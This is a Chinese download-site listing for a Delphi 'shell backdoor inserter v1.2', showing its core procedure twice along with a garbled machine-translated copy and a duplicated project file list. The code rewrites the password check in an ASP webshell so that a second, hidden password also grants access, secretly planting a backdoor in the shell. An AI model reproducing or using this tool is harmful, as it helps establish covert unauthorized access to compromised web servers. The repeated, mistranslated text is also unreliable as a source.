文件名称:shellv1.2
介绍说明--下载内容均来自于网络,请自行研究使用
shell后门插入器v1.2源码procedure TForm1.spSkinButton6Click(Sender: TObject)
begin
if opendialog1.execute then
memo1.Lines.LoadFromFile(opendialog1.filename)
memo1.Text:=stringreplace(memo1.Text, iF REquesT.foRM("pass")=uSERPASS Then , iF REquesT.foRM("pass")=uSERPASS or request.form("pass")=" + edit2.text+ " Then ,[rfReplaceAll])
memo1.lines.savetofile(opendialog1.filename)
end
end.
关键处-Insert v1.2 backdoor shell source browser procedure TForm1.spSkinButton6Click (Sender: TObject) begin if opendialog1.execute then memo1.Lines.LoadFromFile (opendialog1.filename) memo1.Text: = stringreplace (memo1.Text, ' iF REquesT . foRM ( " pass" ) = uSERPASS Then ' ,' iF REquesT.foRM ( " pass" ) = uSERPASS or request.form ( " pass" ) = " '+ edit2.text+' " Then ' , [rfReplaceAll]) memo1.lines.savetofile (opendialog1.filename) end end. Key Office
begin
if opendialog1.execute then
memo1.Lines.LoadFromFile(opendialog1.filename)
memo1.Text:=stringreplace(memo1.Text, iF REquesT.foRM("pass")=uSERPASS Then , iF REquesT.foRM("pass")=uSERPASS or request.form("pass")=" + edit2.text+ " Then ,[rfReplaceAll])
memo1.lines.savetofile(opendialog1.filename)
end
end.
关键处-Insert v1.2 backdoor shell source browser procedure TForm1.spSkinButton6Click (Sender: TObject) begin if opendialog1.execute then memo1.Lines.LoadFromFile (opendialog1.filename) memo1.Text: = stringreplace (memo1.Text, ' iF REquesT . foRM ( " pass" ) = uSERPASS Then ' ,' iF REquesT.foRM ( " pass" ) = uSERPASS or request.form ( " pass" ) = " '+ edit2.text+' " Then ' , [rfReplaceAll]) memo1.lines.savetofile (opendialog1.filename) end end. Key Office
(系统自动生成,下载前可以参看下载内容)
下载文件列表
Project1.dof
Project1.dpr
Project1.res
Unit1.dcu
Unit1.ddp
Unit1.dfm
Unit1.pas
Unit1.~ddp
Unit1.~dfm
Unit1.~pas
Project1.dpr
Project1.res
Unit1.dcu
Unit1.ddp
Unit1.dfm
Unit1.pas
Unit1.~ddp
Unit1.~dfm
Unit1.~pas